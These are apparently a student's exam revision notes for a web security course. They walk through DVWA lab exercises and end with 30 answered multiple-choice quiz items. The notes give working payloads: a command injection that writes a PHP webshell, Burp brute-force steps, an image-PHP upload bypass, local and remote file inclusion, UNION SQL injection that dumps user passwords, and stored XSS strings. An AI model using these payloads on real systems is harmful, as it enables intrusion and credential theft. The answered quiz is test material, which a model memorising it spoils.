Web 学期复习

最近修改日期 2025/06/27 星期五

命令执行(Command Injection)(涉及蚁剑)

Low 难度

```PHP
127.0.0.1& echo hello world > c:\phpStudy\www\hellow.txt
```

一句话木马：

```PHP
127.0.0.1& echo ^<?^php eval($_POST[1]);?^>^ > c:\phpStudy\www\yjh.php
```

蚁键–初始化–配置 URL（http://192.168.18.128/yjh.php）–密码（1）

high 高级难度

使用 127.0.0.1|whoami（whoami 可以替换）

暴力破解(Brute Force)（涉及 BP）（必考）

Low 难度

开启 BP–设置代理（127.0.0.1:8080）–开启拦截–输入 user 与 password–右键发送到 Intruder–攻击类型更改为狙击手–password 添加 payload–点击 payload–payload 设置简单列表（老师固定）–开始攻击

High 高级难度

开启 BP–设置代理（127.0.0.1:8080）–开启拦截–输入 user 与 password–右键发送到 Intruder–攻击类型更改为交 叉–password 与 token 添加 payload–点击 payload–payload 设置简单列表（老师固定）–选择 payload 集 2–递归提取–点设置–检索提取–添加–获取响应–搜索 token–双击选择 token–重定向改为总是–资源池–新建资源池–最大并发数 1–开始攻击

文件上传（File Upload）（涉及 BP）（涉及蚁剑）

Medium 级别（BP）：

设置 BP 的代理–开启拦截–上传文件–在 Conetnt–Type: [text/plain] 修改为[image/png]

High 级别（CMD 命令行）：

在上传所用文件夹中路径出入 cmd–输入 copy /b [2].jpg+[yjh].php [3].jpg []内名字可修改–上传文件

添加蚁剑：

(http://192.168.18.128/dvwa/vulnerabilities/fi/?page=file:///c:phpstudy/www/dvwa/hackable/uploads/[3].jpg) [ ]内修改为自己上传的文件名称

下滑添加请求信息–Name 终输入 token–Value 输入获取的 token 值

浏览器获取 cookie–F12–点击网络–点击 File upload–点击 dvwapage.js–寻找最右边的 cookie–添加进入蚁剑

文件包含（XSS (Stored)）（涉及蚁剑）（不考）

如果 file inclusion 中标红的话虚拟机打开其他选项–php 扩展–参数开关–allow_url_include

C:\phpStudy\WWW\dvwa\vulnerabilities\fi 虚拟机路径中创建[*htq*].php 输入题目要求的内容

当前目录浏览器中 http://192.168.18.128/dvwa/vulnerabilities/fi/?page=***htq.php***

目录穿越..//穿越到上一个文件内 http://192.168.18.128/dvwa/vulnerabilities/fi/?page=..//htq.php

低级别不添加[http://] 远程目录穿越 http://192.168.18.128/dvwa/vulnerabilities/fi/?page=[http]http[://]://192.168.18.129/文件名/文件名

sql 渗透（数据库软件）（必考）

~~使用 phpstudy 导出 dvwa 数据库（密码 root）~~

判读是否是字符型

```php
1 and 1=2
```

在 SQL Injection 输入联合查询

```sql
1' union select 1,2#
```

拿数据库名

```SQL
1' union select 1,database()#
# database ( ) 函数意义为当前使用的数据库
```

拿表名

```SQL
1' union select 1, table_name from information_schema.tables where table_schema = data
base()#
# 在information_schema数据库文件中的table_scheam表中查找table_name下的数据当前使用的数据库
# database ( ) 函数意义为当前使用的数据库
```

查询 user 表中有多少列

```SQL
1' union select 1, column_name from information_schema.columns where table_name = 'use
rs'#
#在information_schema.columns数据库文件中的column_name表中查找table_name等于users的表下的数据
```

拿取在 user 表中 user 与 password 特定列

```SQL
1' union select user,password from users#
#拿取users表中的user和password的数据
```

xss 存储（XSS (Stored)）

低级别：

name 按照题目输入在 message 中输入<script>alert('*zhangsan66*')</script>,*zhangsan66*

中级别：

name 按照题目输入在 message 按照题目输入–打开 BP 开启拦截–寻找 txtName=修改为 <Script>alert('zhangsan66')</script>

高级别：

name 按照题目输入在 message 按照题目输入–打开 BP 开启拦截–寻找 txtName=修改为<img src=1 onerror=alert('zhangsan')>

选择题

1.[单选题]Burp Suite 是用于攻击（）的集成平台：

A.web 应用程序

B.客户机

C.服务器

D.浏览器

我的答案：A

2.[单选题]nmap 的–sV 是什么操作（）：

A.TCP 全连接扫描

B.FIN 扫描

C.版本扫描

D.全面扫描

我的答案：C

3.[单选题]在 HTTP 状态码中表示重定向的是（）：

A.200

B.302

C.403

D.500

我的答案：B

4.[单选题]扫描器之王 NMAP 中，全面扫描的命令是什么：

A.–O

B.–sV

C.–sP

D.–A

我的答案：D

5.[单选题]下列工具中可以对 Web 表单进行暴力破解的是：

A.Burp suite

B.Nmap

C.Sqlmap

D.Appscan

我的答案：A

6.[单选题]下列哪个工具可以进行 Web 程序指纹识别（）：

A.nmap

B.OpenVAS

C.御剑

D..wappalyzer

我的答案：D

7.[单选题]渗透测试的主要目标是（）：

A.响应

B.修补

C.检测

D.威慑

我的答案：C

8.[单选题]下列哪种攻击方式是利用 TCP 三次握手的弱点进行的（）：

A.SYN FLOOD

B.嗅探

C.会话劫持

D.SQL 注入

我的答案：A

9.[单选题]HTTPS 使用端口是以下哪个?

A.110

B.443

C.80

D.8080

我的答案：B

10.[单选题]下列（ ）不是常见系统命令函数：

A.system()

B.exec()

C.assert()

D.shell_exec()

我的答案：C

11.[单选题]在 Burp Suite 的 Intruder 模块中进行暴力破解，若要对多个参数同时使用不同的 Payload 集合进行组合测试，应选择哪种攻击类型?

A.Sniper

B.Battering ram

C.Pitchfork

D.Cluster bomb

我的答案：D

12.[单选题]在 Burp Suite 中设置暴力破解字典时，以下哪种做法能够显著提升破解效率?

A.使用系统默认字典

B.从互联网下载包含 100 万条数据的通用密码字典

C.根据目标系统特点，定制包含常见密码和目标相关关键词的字典

D.仅使用数字组合的字典

我的答案：C

13.[单选题]在 Burp Suite 的 Intruder 模块进行暴力破解，若想让一个 Payload 集依次填充每个标记位置，应该选择哪种攻击模式?

A.Sniper

B.Battering ram

C.Pitchfork

D.Cluster bomb

我的答案：A

14.[单选题]以下哪类函数在 PHP 中最可能因不当使用导致命令执行漏洞?

A.htmlspecialchars()

B.mysqli_query()

C.exec()

D.strlen()

我的答案：C

15.[单选题]在测试命令执行漏洞时，以下哪种字符常被用于连接多条命令以绕过单命令执行限制?

A.&

B.#

C.*

D.$

我的答案：A

16.[单选题]以下哪一项不是命令执行漏洞的常见利用方式?

A.使用 | 管道符组合命令获取系统信息

B.通过 > 重定向符篡改网站首页文件

C.利用 && 逻辑与符号执行多条命令

D.对用户输入进行 URL 编码后提交

我的答案：D

17.[单选题]在检测命令执行漏洞时，若输入 127.0.0.1;ls 后，服务器返回当前目录文件列表，说明存在漏洞的原因是?

A.服务器未对 IP 地址格式进行校验

B.系统错误地将输入识别为 IP 地址

C.分号未被过滤，导致多条命令被执行

D.服务器配置错误，意外开放文件查看权限

我的答案：C

18.[单选题]攻击者构造 CSRF 攻击链接时，必须满足的条件是?

A.目标网站存在 SQL 注入漏洞

B.用户已在目标网站登录且 Cookie 未过期

C.强制用户点击攻击链接

D.能够获取用户的明文密码

我的答案：B

19.[单选题]关于 CSRF 攻击的原理，以下说法正确的是?

A.利用浏览器自动携带已认证的 Cookie 发起恶意请求

B.通过 XSS 漏洞窃取用户登录凭证

C.强制用户浏览器执行恶意 JavaScript 代码

D.破解用户的加密通信数据

我的答案：A

20.[单选题]在以下场景中，最容易遭受 CSRF 攻击的是?

A.银行 APP 通过生物识别进行转账操作

B.网站登录页面使用验证码验证

C.用户登录购物网站后，点击恶意网站上的隐藏图片链接

D.论坛发帖功能仅允许登录用户发表文字内容

我的答案：C

21.[单选题]为了防御 CSRF 攻击，以下哪种方式最有效?

A.对用户输入进行 XSS 过滤

B.在每个表单或敏感操作请求中添加动态 CSRF Token

C.限制用户登录时长

D.禁止用户使用第三方浏览器

我的答案：B

22.[单选题]在 HTTP 协议中，用于请求获取指定资源的方法是?

A.POST

B.GET

C.PUT

D.DELETE

我的答案：B

23.[单选题]HTTP 协议默认使用的传输端口号是?

A.21

B.22

C.80

D.443

我的答案：C

24.[单选题]在 HTTP 协议中，用于向服务器提交数据以创建新资源的请求方法是?

A.GET

B.HEAD

C.POST

D.OPTIONS

我的答案：C

25.[单选题]以下哪种场景最适合通过 Whois 查询获取信息?

A.分析网站页面的 JavaScript 代码逻辑

B.查找域名注册商、注册人及到期时间

C.检测网站是否存在 SQL 注入漏洞

D.抓取网页中的图片资源

我的答案：B

26.[单选题]布尔型 SQL 盲注的核心特征是?

A.页面直接返回数据库错误信息

B.页面根据注入条件返回不同的布尔结果（如“存在”或“不存在”）

C.利用数据库查询时间差异判断注入结果

D.通过 UNION SELECT 语句直接获取数据

我的答案：B

27.[单选题]攻击者在布尔型盲注中，通常使用以下哪种方法逐字符猜测数据库名?

A.通过页面响应时间差异判断字符是否正确

B.直接查询 information_schema 系统表获取数据库名

C.使用 SUBSTRING() 函数结合 ASCII() 值比对

D.利用 UNION SELECT 语句拼接数据库名到页面输出

我的答案：C

28.[单选题]存储型 XSS 漏洞最可能出现在以下哪个功能模块?

A.用户登录页面

B.商品评论系统

C.URL 参数传递

D.本地存储缓存

我的答案：B

29.[单选题]以下哪种防御措施无法有效防止存储型 XSS?

A.对用户输入进行 HTML 实体编码

B.仅过滤 <script> 标签

C.使用内容安全策略（CSP）限制脚本来源

D.输入验证与白名单过滤

我的答案：B

30.[单选题]以下哪种方法能有效防御文件包含漏洞?

A.对用户输入进行 URL 编码

B.使用白名单验证包含的文件路径

C.启用防火墙阻止外部请求

D.对文件内容进行加密存储

我的答案：B